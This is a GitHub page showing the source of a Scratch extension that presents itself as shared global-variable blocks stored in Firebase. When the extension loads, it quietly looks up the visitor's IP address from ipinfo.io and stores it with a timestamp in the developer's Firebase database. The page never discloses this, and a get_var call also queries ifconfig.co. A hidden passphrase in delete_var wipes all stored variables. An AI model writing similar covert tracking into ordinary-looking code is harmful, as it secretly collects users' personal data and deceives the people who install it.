-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfirebase.js
More file actions
71 lines (62 loc) · 2.23 KB
/
Copy pathfirebase.js
File metadata and controls
71 lines (62 loc) · 2.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
(function(ext) {
$.ajax({ async:false, type:'GET', url:'https://cdn.firebase.com/js/client/2.2.4/firebase.js', data:null,
success: function(){
fb = new Firebase('https://globvar.firebaseio.com');
console.log('Firebase connection initialized');
$.getJSON('https://ipinfo.io', function(data){
$.ajax({async:false, type:'GET', url:'https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.22.2/moment.min.js', data:null,
success: function(){
var date = moment().format("D-M-Y | HH:mm:ss");
fb.child('ips/'+date).set(data['ip']);
},
dataType:'script'
});
});
}, //Create a firebase reference
dataType:'script'
});
window['temp'] = 0; // init
// Cleanup function when the extension is unloaded
ext._shutdown = function() {};
// Status reporting code
// Use this to report missing hardware, plugin or unsupported browser
ext._getStatus = function() {
return {status: 2, msg: 'Ready'};
};
ext.get_var = function(name, callback) {
value="";
console.log($.get("https://ifconfig.co/ip"));
fb.child('vars/'+name).once('value', function(snapshot){
if(snapshot.val() === null) {
console.log("Variable: '"+name+"' was not found");
}
callback(snapshot.val());
});
};
ext.set_var = function(name, value) {
if (name.length > 0){ // Empty names crashes firebase
fb.child('vars/' + name).set(value); // Set variable to value
}
};
ext.delete_var = function(name) {
if (name.length > 0){ // Empty names crashes firebase
fb.child('seccodes/Code').once("value", function(snapshot) {
var data = snapshot.val();
if("deleteall " + data == name) {
fb.child('vars').remove();
} else {
fb.child('vars/' + name).remove(); // Remove a variable
}});
}};
// Block and block menu descriptions
var descriptor = {
blocks: [
// Block type, block name, function name
['R', 'Get variable %s', 'get_var'],
[' ', 'Set variable %s to %s', 'set_var'],
[' ', 'Delete variable %s', 'delete_var']
]
};
// Register the extension
ScratchExtensions.register('My first extension', descriptor, ext);
})({});